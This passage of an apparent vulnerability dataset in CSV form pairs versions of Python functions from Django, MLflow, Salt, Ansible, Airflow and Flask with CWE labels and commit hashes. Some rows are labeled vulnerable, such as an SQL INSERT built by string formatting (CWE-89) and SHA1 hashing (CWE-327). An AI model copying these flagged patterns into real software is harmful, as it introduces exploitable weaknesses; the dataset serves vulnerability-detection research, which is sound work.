                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,e55cb91bd47d054d502c03cdbe74ac98986af3fb,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for rel in _related_non_m2m_objects(new_field.model._meta):
                rel_fk_names = self._constraint_names(rel.related_model, [rel.field.column], foreign_key=True)
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        if (old_field.db_index and not new_field.db_index and
                not old_field.unique and not
                (not new_field.unique and old_field.unique)):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self.sql_rename_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""old_column"": self.quote_name(old_field.column),
                ""new_column"": self.quote_name(new_field.column),
                ""type"": new_type,
            })
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model._meta.db_table, new_field.column, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index?
        if (not old_field.db_index and new_field.db_index and
                not new_field.unique and not
                (not old_field.unique and new_field.unique)):
            self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(new_field.model._meta))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(new_field.model._meta))
        # Handle our type alters on the other end of rels from the PK stuff above
        for rel in rels_to_update:
            rel_db_params = rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(rel.related_model._meta.db_table),
                    ""changes"": self.sql_alter_column_type % {
                        ""column"": self.quote_name(rel.field.column),
                        ""type"": rel_type,
                    }
                }
            )
        # Does it have a foreign key?
        if new_field.rel and \
           (fks_dropped or (old_field.rel and not old_field.db_constraint)) and \
           new_field.db_constraint:
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
,UNKNOWN,UNKNOWN,tests/unit/test_crypt.py,1,"def test_crypto_bad_key(self):
        '''
        Load public key with an invalid header and validate it without m2crypto
        '''
        key = salt.crypt.get_rsa_pub_key(self.key_path)
        assert key.can_encrypt()",CWE-703,saltstack/salt,2afe4bee95fe78e9cdfa53c6b3958a66adf2fc26,"def test_crypto_bad_key(self):
        '''
        Load public key with an invalid header and validate it without m2crypto
        '''
        key = salt.crypt.get_rsa_pub_key(self.key_path)
        assert key.can_encrypt()"
,UNKNOWN,UNKNOWN,mlflow/store/sqlalchemy_store.py,1,"def _create_default_experiment(self, session):
        """"""
        MLflow UI and client code expects a default experiment with ID 0.
        This method uses SQL insert statement to create the default experiment as a hack, since
        experiment table uses 'experiment_id' column is a PK and is also set to auto increment.
        MySQL and other implementation do not allow value '0' for such cases.

        ToDo: Identify a less hacky mechanism to create default experiment 0
        """"""
        table = SqlExperiment.__tablename__
        default_experiment = {
            SqlExperiment.experiment_id.name: int(SqlAlchemyStore.DEFAULT_EXPERIMENT_ID),
            SqlExperiment.name.name: Experiment.DEFAULT_EXPERIMENT_NAME,
            SqlExperiment.artifact_location.name: str(self._get_artifact_location(0)),
            SqlExperiment.lifecycle_stage.name: LifecycleStage.ACTIVE
        }

        def decorate(s):
            if isinstance(s, str):
                return ""'{}'"".format(s)
            else:
                return ""{}"".format(s)

        # Get a list of keys to ensure we have a deterministic ordering
        columns = list(default_experiment.keys())
        values = "", "".join([decorate(default_experiment.get(c)) for c in columns])

        try:
            self._set_no_auto_for_zero_values(session)
            session.execute(""INSERT INTO {} ({}) VALUES ({});"".format(
                table, "", "".join(columns), values))
        finally:
            self._unset_no_auto_for_zero_values(session)",CWE-89,mlflow/mlflow,a3da2856c91709de037b8aa1d136d962020a5557,"def _create_default_experiment(self, session):
        """"""
        MLflow UI and client code expects a default experiment with ID 0.
        This method uses SQL insert statement to create the default experiment as a hack, since
        experiment table uses 'experiment_id' column is a PK and is also set to auto increment.
        MySQL and other implementation do not allow value '0' for such cases.

        ToDo: Identify a less hacky mechanism to create default experiment 0
        """"""
        table = SqlExperiment.__tablename__
        default_experiment = {
            SqlExperiment.experiment_id.name: int(SqlAlchemyStore.DEFAULT_EXPERIMENT_ID),
            SqlExperiment.name.name: Experiment.DEFAULT_EXPERIMENT_NAME,
            SqlExperiment.artifact_location.name: self._get_artifact_location(0),
            SqlExperiment.lifecycle_stage.name: LifecycleStage.ACTIVE
        }

        def decorate(s):
            if isinstance(s, str):
                return ""'{}'"".format(s)
            else:
                return ""{}"".format(s)

        # Get a list of keys to ensure we have a deterministic ordering
        columns = list(default_experiment.keys())
        values = "", "".join([decorate(default_experiment.get(c)) for c in columns])

        try:
            self._set_no_auto_for_zero_values(session)
            session.execute(""INSERT INTO {} ({}) VALUES ({});"".format(
                table, "", "".join(columns), values))
        finally:
            self._unset_no_auto_for_zero_values(session)"
,UNKNOWN,UNKNOWN,salt/transport/zeromq.py,1,"def __init__(self,
                 opts,
                 **kwargs):
        self.opts = opts
        self.ttype = 'zeromq'

        if 'io_loop' in kwargs:
            self.io_loop = kwargs['io_loop']
        else:
            self.io_loop = tornado.ioloop.IOLoop()

        self.hexid = hashlib.sha1(self.opts['id']).hexdigest()

        self.auth = salt.crypt.AsyncAuth(self.opts, io_loop=self.io_loop)

        self.serial = salt.payload.Serial(self.opts)

        self.context = zmq.Context()
        self._socket = self.context.socket(zmq.SUB)

        if self.opts['zmq_filtering']:
            # TODO: constants file for ""broadcast""
            self._socket.setsockopt(zmq.SUBSCRIBE, 'broadcast')
            self._socket.setsockopt(zmq.SUBSCRIBE, self.hexid)
        else:
            self._socket.setsockopt(zmq.SUBSCRIBE, '')

        self._socket.setsockopt(zmq.IDENTITY, self.opts['id'])

        # TODO: cleanup all the socket opts stuff
        if hasattr(zmq, 'TCP_KEEPALIVE'):
            self._socket.setsockopt(
                zmq.TCP_KEEPALIVE, self.opts['tcp_keepalive']
            )
            self._socket.setsockopt(
                zmq.TCP_KEEPALIVE_IDLE, self.opts['tcp_keepalive_idle']
            )
            self._socket.setsockopt(
                zmq.TCP_KEEPALIVE_CNT, self.opts['tcp_keepalive_cnt']
            )
            self._socket.setsockopt(
                zmq.TCP_KEEPALIVE_INTVL, self.opts['tcp_keepalive_intvl']
            )

        recon_delay = self.opts['recon_default']

        if self.opts['recon_randomize']:
            recon_delay = randint(self.opts['recon_default'],
                                  self.opts['recon_default'] + self.opts['recon_max']
                          )

            log.debug(""Generated random reconnect delay between '{0}ms' and '{1}ms' ({2})"".format(
                self.opts['recon_default'],
                self.opts['recon_default'] + self.opts['recon_max'],
                recon_delay)
            )

        log.debug(""Setting zmq_reconnect_ivl to '{0}ms'"".format(recon_delay))
        self._socket.setsockopt(zmq.RECONNECT_IVL, recon_delay)

        if hasattr(zmq, 'RECONNECT_IVL_MAX'):
            log.debug(""Setting zmq_reconnect_ivl_max to '{0}ms'"".format(
                self.opts['recon_default'] + self.opts['recon_max'])
            )

            self._socket.setsockopt(
                zmq.RECONNECT_IVL_MAX, self.opts['recon_max']
            )

        if self.opts['ipv6'] is True and hasattr(zmq, 'IPV4ONLY'):
            # IPv6 sockets work for both IPv6 and IPv4 addresses
            self._socket.setsockopt(zmq.IPV4ONLY, 0)

        if HAS_ZMQ_MONITOR and self.opts['zmq_monitor']:
            self._monitor = ZeroMQSocketMonitor(self._socket)
            self._monitor.start_io_loop(self.io_loop)",CWE-327,saltstack/salt,e425cbd6544fc98d4d77b7cc2aa5fd7f006a2750,"def __init__(self,
                 opts,
                 **kwargs):
        self.opts = opts
        self.ttype = 'zeromq'

        if 'io_loop' in kwargs:
            self.io_loop = kwargs['io_loop']
        else:
            self.io_loop = tornado.ioloop.IOLoop()

        self.hexid = hashlib.sha1(self.opts['id']).hexdigest()

        self.auth = salt.crypt.AsyncAuth(self.opts, io_loop=self.io_loop)

        self.serial = salt.payload.Serial(self.opts)

        self.context = zmq.Context()
        self._socket = self.context.socket(zmq.SUB)

        if self.opts['zmq_filtering']:
            # TODO: constants file for ""broadcast""
            self._socket.setsockopt(zmq.SUBSCRIBE, 'broadcast')
            self._socket.setsockopt(zmq.SUBSCRIBE, self.hexid)
        else:
            self._socket.setsockopt(zmq.SUBSCRIBE, '')

        self._socket.setsockopt(zmq.SUBSCRIBE, '')
        self._socket.setsockopt(zmq.IDENTITY, self.opts['id'])

        # TODO: cleanup all the socket opts stuff
        if hasattr(zmq, 'TCP_KEEPALIVE'):
            self._socket.setsockopt(
                zmq.TCP_KEEPALIVE, self.opts['tcp_keepalive']
            )
            self._socket.setsockopt(
                zmq.TCP_KEEPALIVE_IDLE, self.opts['tcp_keepalive_idle']
            )
            self._socket.setsockopt(
                zmq.TCP_KEEPALIVE_CNT, self.opts['tcp_keepalive_cnt']
            )
            self._socket.setsockopt(
                zmq.TCP_KEEPALIVE_INTVL, self.opts['tcp_keepalive_intvl']
            )

        recon_delay = self.opts['recon_default']

        if self.opts['recon_randomize']:
            recon_delay = randint(self.opts['recon_default'],
                                  self.opts['recon_default'] + self.opts['recon_max']
                          )

            log.debug(""Generated random reconnect delay between '{0}ms' and '{1}ms' ({2})"".format(
                self.opts['recon_default'],
                self.opts['recon_default'] + self.opts['recon_max'],
                recon_delay)
            )

        log.debug(""Setting zmq_reconnect_ivl to '{0}ms'"".format(recon_delay))
        self._socket.setsockopt(zmq.RECONNECT_IVL, recon_delay)

        if hasattr(zmq, 'RECONNECT_IVL_MAX'):
            log.debug(""Setting zmq_reconnect_ivl_max to '{0}ms'"".format(
                self.opts['recon_default'] + self.opts['recon_max'])
            )

            self._socket.setsockopt(
                zmq.RECONNECT_IVL_MAX, self.opts['recon_max']
            )

        if self.opts['ipv6'] is True and hasattr(zmq, 'IPV4ONLY'):
            # IPv6 sockets work for both IPv6 and IPv4 addresses
            self._socket.setsockopt(zmq.IPV4ONLY, 0)

        if HAS_ZMQ_MONITOR and self.opts['zmq_monitor']:
            self._monitor = ZeroMQSocketMonitor(self._socket)
            self._monitor.start_io_loop(self.io_loop)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/models.py,0,"def get_change_message(self):
        """"""
        If self.change_message is a JSON structure, interpret it as a change
        string, properly translated.
        """"""
        if self.change_message and self.change_message[0] == '[':
            try:
                change_message = json.loads(self.change_message)
            except json.JSONDecodeError:
                return self.change_message
            messages = []
            for sub_message in change_message:
                if 'added' in sub_message:
                    if sub_message['added']:
                        sub_message['added']['name'] = gettext(sub_message['added']['name'])
                        messages.append(gettext('Added {name} ""{object}"".').format(**sub_message['added']))
                    else:
                        messages.append(gettext('Added.'))

                elif 'changed' in sub_message:
                    sub_message['changed']['fields'] = get_text_list(
                        sub_message['changed']['fields'], gettext('and')
                    )
                    if 'name' in sub_message['changed']:
                        sub_message['changed']['name'] = gettext(sub_message['changed']['name'])
                        messages.append(gettext('Changed {fields} for {name} ""{object}"".').format(
                            **sub_message['changed']
                        ))
                    else:
                        messages.append(gettext('Changed {fields}.').format(**sub_message['changed']))

                elif 'deleted' in sub_message:
                    sub_message['deleted']['name'] = gettext(sub_message['deleted']['name'])
                    messages.append(gettext('Deleted {name} ""{object}"".').format(**sub_message['deleted']))

            change_message = ' '.join(msg[0].upper() + msg[1:] for msg in messages)
            return change_message or gettext('No fields changed.')
        else:
            return self.change_message",CWE-Unknown,django/django,98706bb35e7de0e445cc336f669919047bf46b75,"def get_change_message(self):
        """"""
        If self.change_message is a JSON structure, interpret it as a change
        string, properly translated.
        """"""
        if self.change_message and self.change_message[0] == '[':
            try:
                change_message = json.loads(self.change_message)
            except ValueError:
                return self.change_message
            messages = []
            for sub_message in change_message:
                if 'added' in sub_message:
                    if sub_message['added']:
                        sub_message['added']['name'] = gettext(sub_message['added']['name'])
                        messages.append(gettext('Added {name} ""{object}"".').format(**sub_message['added']))
                    else:
                        messages.append(gettext('Added.'))

                elif 'changed' in sub_message:
                    sub_message['changed']['fields'] = get_text_list(
                        sub_message['changed']['fields'], gettext('and')
                    )
                    if 'name' in sub_message['changed']:
                        sub_message['changed']['name'] = gettext(sub_message['changed']['name'])
                        messages.append(gettext('Changed {fields} for {name} ""{object}"".').format(
                            **sub_message['changed']
                        ))
                    else:
                        messages.append(gettext('Changed {fields}.').format(**sub_message['changed']))

                elif 'deleted' in sub_message:
                    sub_message['deleted']['name'] = gettext(sub_message['deleted']['name'])
                    messages.append(gettext('Deleted {name} ""{object}"".').format(**sub_message['deleted']))

            change_message = ' '.join(msg[0].upper() + msg[1:] for msg in messages)
            return change_message or gettext('No fields changed.')
        else:
            return self.change_message"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/xenserver.py,0,"def gather_vm_facts(module, vm_params):
    """"""Gathers VM facts.

    Args:
        module: Reference to Ansible module object.
        vm_params (dict): A dictionary with VM parameters as returned
            by gather_vm_params() function.

    Returns:
        dict: VM facts.
    """"""
    # We silently return empty vm_facts if no vm_params are available.
    if not vm_params:
        return {}

    xapi_session = XAPI.connect(module)

    # Gather facts.
    vm_facts = {
        ""state"": xapi_to_module_vm_power_state(vm_params['power_state'].lower()),
        ""name"": vm_params['name_label'],
        ""name_desc"": vm_params['name_description'],
        ""uuid"": vm_params['uuid'],
        ""is_template"": vm_params['is_a_template'],
        ""folder"": vm_params['other_config'].get('folder', ''),
        ""hardware"": {
            ""num_cpus"": int(vm_params['VCPUs_max']),
            ""num_cpu_cores_per_socket"": int(vm_params['platform'].get('cores-per-socket', '1')),
            ""memory_mb"": int(int(vm_params['memory_dynamic_max']) / 1048576),
        },
        ""disks"": [],
        ""cdrom"": {},
        ""networks"": [],
        ""home_server"": vm_params['affinity'].get('name_label', ''),
        ""domid"": vm_params['domid'],
        ""platform"": vm_params['platform'],
        ""other_config"": vm_params['other_config'],
        ""xenstore_data"": vm_params['xenstore_data'],
        ""customization_agent"": vm_params['customization_agent'],
    }

    for vm_vbd_params in vm_params['VBDs']:
        if vm_vbd_params['type'] == ""Disk"":
            vm_disk_sr_params = xapi_session.xenapi.SR.get_record(vm_vbd_params['VDI']['SR'])

            vm_disk_params = {
                ""size"": int(vm_vbd_params['VDI']['virtual_size']),
                ""name"": vm_vbd_params['VDI']['name_label'],
                ""name_desc"": vm_vbd_params['VDI']['name_description'],
                ""sr"": vm_disk_sr_params['name_label'],
                ""sr_uuid"": vm_disk_sr_params['uuid'],
                ""os_device"": vm_vbd_params['device'],
                ""vbd_userdevice"": vm_vbd_params['userdevice'],
            }

            vm_facts['disks'].append(vm_disk_params)
        elif vm_vbd_params['type'] == ""CD"":
            if vm_vbd_params['empty']:
                vm_facts['cdrom'].update(type=""none"")
            else:
                vm_facts['cdrom'].update(type=""iso"")
                vm_facts['cdrom'].update(iso_name=vm_vbd_params['VDI']['name_label'])

    for vm_vif_params in vm_params['VIFs']:
        vm_guest_metrics_networks = vm_params['guest_metrics'].get('networks', {})

        vm_network_params = {
            ""name"": vm_vif_params['network']['name_label'],
            ""mac"": vm_vif_params['MAC'],
            ""vif_device"": vm_vif_params['device'],
            ""mtu"": vm_vif_params['MTU'],
            ""ip"": vm_guest_metrics_networks.get(""%s/ip"" % vm_vif_params['device'], ''),
            ""prefix"": """",
            ""netmask"": """",
            ""gateway"": """",
            ""ip6"": [vm_guest_metrics_networks[ipv6] for ipv6 in sorted(vm_guest_metrics_networks.keys()) if ipv6.startswith(""%s/ipv6/"" %
                                                                                                                            vm_vif_params['device'])],
            ""prefix6"": """",
            ""gateway6"": """",
        }

        if vm_params['customization_agent'] == ""native"":
            if vm_vif_params['ipv4_addresses'] and vm_vif_params['ipv4_addresses'][0]:
                vm_network_params['prefix'] = vm_vif_params['ipv4_addresses'][0].split('/')[1]
                vm_network_params['netmask'] = ip_prefix_to_netmask(vm_network_params['prefix'])

            vm_network_params['gateway'] = vm_vif_params['ipv4_gateway']

            if vm_vif_params['ipv6_addresses'] and vm_vif_params['ipv6_addresses'][0]:
                vm_network_params['prefix6'] = vm_vif_params['ipv6_addresses'][0].split('/')[1]

            vm_network_params['gateway6'] = vm_vif_params['ipv6_gateway']

        elif vm_params['customization_agent'] == ""custom"":
            vm_xenstore_data = vm_params['xenstore_data']

            for f in ['prefix', 'netmask', 'gateway', 'prefix6', 'gateway6']:
                vm_network_params[f] = vm_xenstore_data.get(""vm-data/networks/%s/%s"" % (vm_vif_params['device'], f), """")

        vm_facts['networks'].append(vm_network_params)

    return vm_facts",,ansible/ansible,b27c4caa492efbfbd211ebe34087ebaba03ae3f7,"def gather_vm_facts(module, vm_params):
    """"""Gathers VM facts.

    Args:
        module: Reference to Ansible module object.
        vm_params (dict): A dictionary with VM parameters as returned
            by gather_vm_params() function.

    Returns:
        dict: VM facts.
    """"""
    # We silently return empty vm_facts if no vm_params are available.
    if not vm_params:
        return {}

    xapi_session = XAPI.connect(module)

    # Gather facts.
    vm_facts = {
        ""state"": xapi_to_module_vm_power_state(vm_params['power_state'].lower()),
        ""name"": vm_params['name_label'],
        ""name_desc"": vm_params['name_description'],
        ""uuid"": vm_params['uuid'],
        ""is_template"": vm_params['is_a_template'],
        ""folder"": vm_params['other_config'].get('folder', ''),
        ""hardware"": {
            ""num_cpus"": int(vm_params['VCPUs_max']),
            ""num_cpu_cores_per_socket"": int(vm_params['platform'].get('cores-per-socket', '1')),
            ""memory_mb"": int(int(vm_params['memory_dynamic_max']) / 1048576),
        },
        ""disks"": [],
        ""cdrom"": {},
        ""networks"": [],
        ""home_server"": vm_params['affinity'].get('name_label', ''),
        ""domid"": vm_params['domid'],
        ""platform"": vm_params['platform'],
        ""other_config"": vm_params['other_config'],
        ""xenstore_data"": vm_params['xenstore_data'],
        ""customization_agent"": vm_params['customization_agent'],
    }

    for vm_vbd_params in vm_params['VBDs']:
        if vm_vbd_params['type'] == ""Disk"":
            vm_disk_sr_params = xapi_session.xenapi.SR.get_record(vm_vbd_params['VDI']['SR'])

            vm_disk_params = {
                ""size"": int(vm_vbd_params['VDI']['virtual_size']),
                ""name"": vm_vbd_params['VDI']['name_label'],
                ""name_desc"": vm_vbd_params['VDI']['name_description'],
                ""sr"": vm_disk_sr_params['name_label'],
                ""sr_uuid"": vm_disk_sr_params['uuid'],
                ""os_device"": vm_vbd_params['device'],
                ""vbd_userdevice"": vm_vbd_params['userdevice'],
            }

            vm_facts['disks'].append(vm_disk_params)
        elif vm_vbd_params['type'] == ""CD"":
            if vm_vbd_params['empty']:
                vm_facts['cdrom'].update(type=""none"")
            else:
                vm_facts['cdrom'].update(type=""iso"")
                vm_facts['cdrom'].update(iso=vm_vbd_params['VDI']['name_label'])

    for vm_vif_params in vm_params['VIFs']:
        vm_guest_metrics_networks = vm_params['guest_metrics'].get('networks', {})

        vm_network_params = {
            ""name"": vm_vif_params['network']['name_label'],
            ""mac"": vm_vif_params['MAC'],
            ""vif_device"": vm_vif_params['device'],
            ""mtu"": vm_vif_params['MTU'],
            ""ip"": vm_guest_metrics_networks.get(""%s/ip"" % vm_vif_params['device'], ''),
            ""prefix"": """",
            ""netmask"": """",
            ""gateway"": """",
            ""ip6"": [vm_guest_metrics_networks[ipv6] for ipv6 in vm_guest_metrics_networks.keys() if ipv6.startswith(""%s/ipv6/"" % vm_vif_params['device'])],
            ""prefix6"": """",
            ""gateway6"": """",
        }

        if vm_params['customization_agent'] == ""native"":
            if vm_vif_params['ipv4_addresses'] and vm_vif_params['ipv4_addresses'][0]:
                vm_network_params['prefix'] = vm_vif_params['ipv4_addresses'][0].split('/')[1]
                vm_network_params['netmask'] = ip_prefix_to_netmask(vm_network_params['prefix'])

            vm_network_params['gateway'] = vm_vif_params['ipv4_gateway']

            if vm_vif_params['ipv6_addresses'] and vm_vif_params['ipv6_addresses'][0]:
                vm_network_params['prefix6'] = vm_vif_params['ipv6_addresses'][0].split('/')[1]

            vm_network_params['gateway6'] = vm_vif_params['ipv6_gateway']

        elif vm_params['customization_agent'] == ""custom"":
            vm_xenstore_data = vm_params['xenstore_data']

            for f in ['prefix', 'netmask', 'gateway', 'prefix6', 'gateway6']:
                vm_network_params[f] = vm_xenstore_data.get(""vm-data/networks/%s/%s"" % (vm_vif_params['device'], f), """")

        vm_facts['networks'].append(vm_network_params)

    return vm_facts"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/amazon/aws/hooks/s3.py,0,"def delete_objects(self, bucket, keys):
        """"""
        Delete keys from the bucket.

        :param bucket: Name of the bucket in which you are going to delete object(s)
        :type bucket: str
        :param keys: The key(s) to delete from S3 bucket.

            When ``keys`` is a string, it's supposed to be the key name of
            the single object to delete.

            When ``keys`` is a list, it's supposed to be the list of the
            keys to delete.
        :type keys: str or list
        """"""
        if isinstance(keys, str):
            keys = [keys]

        delete_dict = {""Objects"": [{""Key"": k} for k in keys]}
        response = self.get_conn().delete_objects(Bucket=bucket, Delete=delete_dict)

        return response",CWE-Unknown,apache/airflow,57da45685457520d51a0967e2aeb5e5ff162dfa7,"def delete_objects(self, bucket, keys):
        """"""
        Delete keys from the bucket.

        :param bucket: Name of the bucket in which you are going to delete object(s)
        :type bucket: str
        :param keys: The key(s) to delete from S3 bucket.

            When ``keys`` is a string, it's supposed to be the key name of
            the single object to delete.

            When ``keys`` is a list, it's supposed to be the list of the
            keys to delete.
        :type keys: str or list
        """"""
        if isinstance(keys, list):
            keys = keys
        else:
            keys = [keys]

        delete_dict = {""Objects"": [{""Key"": k} for k in keys]}
        response = self.get_conn().delete_objects(Bucket=bucket, Delete=delete_dict)

        return response"
,UNKNOWN,UNKNOWN,dev/breeze/tests/test_packages.py,1,"def test_get_documentation_package_path():
    assert get_documentation_package_path(""apache.hdfs"") == DOCS_ROOT / ""apache-airflow-providers-apache-hdfs""",CWE-703,apache/airflow,c6f34394c493a62a575030a3d1dfa561d1124816,"def test_get_documentation_package_path():
    assert get_documentation_package_path(""apache.hdfs"") == DOCS_ROOT / ""apache-airflow-providers-apache-hdfs"""
,UNKNOWN,UNKNOWN,tests/test_cli.py,1,"def test_run_cert_import(monkeypatch):
    monkeypatch.setitem(sys.modules, 'not_here', None)

    # ImportError
    with pytest.raises(click.BadParameter):
        run_command.make_context('run', ['--cert', 'not_here'])

    # not an SSLContext
    if sys.version_info >= (2, 7, 9):
        with pytest.raises(click.BadParameter):
            run_command.make_context('run', ['--cert', 'flask'])

    # SSLContext
    if sys.version_info < (2, 7, 9):
        ssl_context = object()
    else:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)

    monkeypatch.setitem(sys.modules, 'ssl_context', ssl_context)
    ctx = run_command.make_context('run', ['--cert', 'ssl_context'])
    assert ctx.params['cert'] is ssl_context

    # no --key with SSLContext
    with pytest.raises(click.BadParameter):
        run_command.make_context(
            'run', ['--cert', 'ssl_context', '--key', __file__])",CWE-703,pallets/flask,401d7f9bb2514eb45ff98b2ac7c04952f5eaa678,"def test_run_cert_import(monkeypatch):
    monkeypatch.setitem(sys.modules, 'not_here', None)

    # ImportError
    with pytest.raises(click.BadParameter):
        run_command.make_context('run', ['--cert', 'not_here'])

    # not an SSLContext
    if sys.version_info >= (2, 7):
        with pytest.raises(click.BadParameter):
            run_command.make_context('run', ['--cert', 'flask'])

    # SSLContext
    if sys.version_info < (2, 7):
        ssl_context = object()
    else:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)

    monkeypatch.setitem(sys.modules, 'ssl_context', ssl_context)
    ctx = run_command.make_context('run', ['--cert', 'ssl_context'])
